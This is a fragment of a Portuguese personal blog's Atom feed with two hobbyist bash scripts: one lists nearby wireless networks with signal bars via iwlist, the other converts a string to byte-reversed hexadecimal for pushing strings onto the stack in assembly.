&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;for i in $(seq 1 7)&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;do&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;if [ $i -le $SINAL ]&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;then&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;echo -ne &quot;\033[;32;1m\030\033[m&quot;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;fi&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;if [ $i -ge $SINAL ]&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;then&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;echo -ne &quot;\033[;37;1m\030\033[m&quot;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;fi&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;done&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;ChecarError&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;}&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: #6aa84f;&quot;&gt;run()&lt;/span&gt; {&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #bf9000; font-size: x-small;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;# EH A FUNCAO QUE UTILIZO PARA RODAR O SCRIPT&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;NOME=$(ScanRetEssid $LAN)&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;for SID in $NOME&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;do&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;NomeDaRede=&quot;$SID __________________&quot;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;SIG=&quot;$(RetSinal $SID)&quot;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;echo &amp;nbsp;-e &quot;${NomeDaRede:0:20} &amp;nbsp; &amp;nbsp; &amp;nbsp;[ $(ImprimirBarra $SIG) ] &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;$(IEEE $NomeDaRede) &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&quot;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;done&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;ChecarError&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;}&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #bf9000; font-size: x-small;&quot;&gt;##&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #bf9000; font-size: x-small;&quot;&gt;# MAIN&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #bf9000; font-size: x-small;&quot;&gt;##&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #bf9000; font-size: x-small;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # CHECA SE SEU ID PRINCIPAL EH DE ROOT&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #bf9000; font-size: x-small;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # NAO QUE NECESSARIAMENTE DEVA SER&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #bf9000; font-size: x-small;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # EXISTEM MANEIRAS DE UTILIZA O IWLIST&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #bf9000; font-size: x-small;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # COM USUARIO COMUM...&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;if [ $EUID -ne 0 ]&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;then&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;echo &quot;Necessita ser root&quot;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;exit&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;fi&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #bf9000; font-size: x-small;&quot;&gt;# LOCALIZA O EXECUTAVEL DO PROGRAMA PASSADO COMO PARAMETRO&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;IW=$(which iwlist)&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;LAN=$2&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;if [ -z &quot;$IW&quot; ]&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;then&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #bf9000; font-size: x-small;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # SE A VARIAVEL QUE CONTEM O IWLIST ESTIVER VAZIA&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #bf9000; font-size: x-small;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # O IWLIST NAO FOI ENCONTRADO EM SEU SISTEMA&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;echo &quot;iwlist nao encontrado&quot;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;exit&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;fi&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #bf9000; font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #bf9000; font-size: x-small;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # BASICAMENTE O SCRIPT NECESSITA DE DOIS PARAMETROS&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #bf9000; font-size: x-small;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # SE INFORMAR MENOS OU MAIS QUE DOIS PARAMETRO ELE NAO RODARAH&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;if [ $# -ne 2 ]&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;then&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;printf &quot;Modo de usar\n$0 -[p|c] wlanX\n&quot;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;exit&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;fi&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #bf9000; font-size: x-small;&quot;&gt;# CASE PARA CHECAR&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #bf9000; font-size: x-small;&quot;&gt;&amp;nbsp;OS PRIMEIROS PARAMETRO&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;case $1 in&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&quot;-p&quot;)&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;clear&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;while [ 1 ]&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;do&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;tput cup 0 0&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;run&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;done&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;;;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&quot;-c&quot;)&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;run&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;;;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;esac&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;&lt;br /&gt;
&lt;/code&gt; &lt;br /&gt;
&lt;div&gt;
#################################################&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wesleyhenriqueleite.blogspot.com/feeds/5812959472350961055/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://wesleyhenriqueleite.blogspot.com/2012/02/script-encontrando-redes-sem-fio.html#comment-form' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2537384307820372300/posts/default/5812959472350961055'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2537384307820372300/posts/default/5812959472350961055'/><link rel='alternate' type='text/html' href='http://wesleyhenriqueleite.blogspot.com/2012/02/script-encontrando-redes-sem-fio.html' title='Encontrando Redes Sem FIO'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/14743264157748275917</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNWy4R3KOolX53mq_sIxbckwJlDAGGfwKuUHk6xcIEicQqtjTG1AZiUCiqptEo74_yCYcCQDBAeBOSguYoP5HZ9jMCElwwAHO2jWe1WWKqH-f2HBvT-Q0wFFlAiq5959L4fxPRBJ2ZQiM/s72-c/salvar13.png" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2537384307820372300.post-7718888435043162516</id><published>2012-01-29T02:58:00.000-02:00</published><updated>2012-02-07T11:13:03.525-02:00</updated><title type='text'>Converter String em Hexadecimal</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;
Já fazia um tempo que estava querendo montar este código, tudo graças ao assembly, certamente existem vários programas que fazem o mesmo e possivelmente até melhor, mas, gosto de montar meus scripts para aprender um pouco mais da linguagem e queimar um pouco de massa cinzenta, bom, basicamente ele recebe uma string de tamanho qualquer e converte seu equivalente em hexadecimal, nada d+ e extremamente util quando desejamos empilhar uma string, pois, essa deve ser feita em Hexa.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
#///////////////////////////////////////////////////////////////////&lt;/div&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #6aa84f;&quot;&gt;
&lt;code&gt;
#/bin/sh&lt;/span&gt;&lt;br /&gt;
# Recebe uma string e converte em Hexa&lt;br /&gt;
# autor : Wesley Henrique Leite&lt;br /&gt;
# : wesleyhenrique [ at ] gmail [ dot ] com&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #6aa84f;&quot;&gt;function&lt;/span&gt; Hexa {&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #bf9000;&quot;&gt;# funcao responsavel por receber um caracter e&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #bf9000;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;# converte-lo em HEX&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;color: #f1c232;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;for CONTADOR in $(seq 1 255)&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;do&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #bf9000;&quot;&gt;# CONTADOR PERCORRE TODA TABELA ASCII PROCURANDO&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #bf9000;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;# O CARACTER PASSADO COMO PARAMETRO&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;if [ &quot;$(echo -e &quot;\0$CONTADOR&quot; )&quot; == $1 ]&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;then&lt;br /&gt;
&lt;span style=&quot;color: #bf9000;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;# ENCONTRADO SEU CODIGO ASCII CONVERTE O MESMO EM&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #bf9000;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;# HEX&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;printf &quot;%x&quot; &quot;0$CONTADOR&quot;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;break&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;fi&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;done&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #6aa84f;&quot;&gt;function&lt;/span&gt; Rev {&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: #bf9000;&quot;&gt;# RECEBE COMO PARAMETRO UMA PALAVRA &amp;nbsp; &lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; PALAVRA=$1&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: #bf9000;&quot;&gt; # ARMAZENA EM x SEM TAMANHO&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; x=${#PALAVRA}&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; while [ $x != 0 ]&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; do&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: #bf9000;&quot;&gt;# ENQUATO x FOR DIFERENTE DE 0 ABAIXO SERA&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #bf9000;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # DECREMENTADO EM 2&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; x=$(echo $x - 2 | bc )&lt;br /&gt;
&lt;span style=&quot;color: #bf9000;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # A VARIAVEM STR RECEBER AS POSICOES x + 2&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #bf9000;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # QUE SAO OS PROXIMOS 2 CARACTERES APOS x&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; STR=&quot;$STR${PALAVRA:$x:2}&quot;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; done&lt;br /&gt;
&lt;span style=&quot;color: #bf9000;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # IMPRIME PALAVRA INVERTIDO&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; echo $STR&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #bf9000;&quot;&gt;##&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #bf9000;&quot;&gt;# MAIN&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #bf9000;&quot;&gt;##&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
if [ $# -lt 1 ]&lt;br /&gt;
&lt;div&gt;
&lt;div&gt;
then&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf &quot;Modo de usar\n $0 [String]\n&quot;&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; exit&lt;/div&gt;
&lt;div&gt;
fi&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
while test $1&lt;/div&gt;
&lt;div&gt;
do&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; PALAVRA=(&quot;$1&quot;)&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; CONTADOR=8&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; for i in $(seq 1 ${#PALAVRA})&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; do&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ANT=$(echo $i - 1 | bc )&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; W=${PALAVRA:$ANT:$i}&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; GERADA=&quot;$GERADA$(Hexa ${W:0:1})&quot;&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; #echo ${GERADA[((CONTADOR-i))]}&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; done&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; shift&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
done&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
echo &quot;$(Rev ${GERADA}) &quot;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #6aa84f;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/code&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;


#///////////////////////////////////////////////////////////////////&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Desta vez me preocupei em comentar um pouco o código, acho que ficou bem claro, caso observe implementei um Rev, simplesmente devido ao rev do sistema realizar um espelho. o que não nos ajudaria, para exemplificar tomemos como exemplo o caracter &quot;A&quot; seu equivalente na Tabela ASCII é 65 convertendo-o para Hexa teremos 0x41 o comando rev simplesmente espelharia isso retornando 14x0 e não teremos o resultado esperado, este também é o motivo de percorrer o array de duas em duas casas, pois, necessitamos da string invertida mas nas posições corretas&lt;/div&gt;
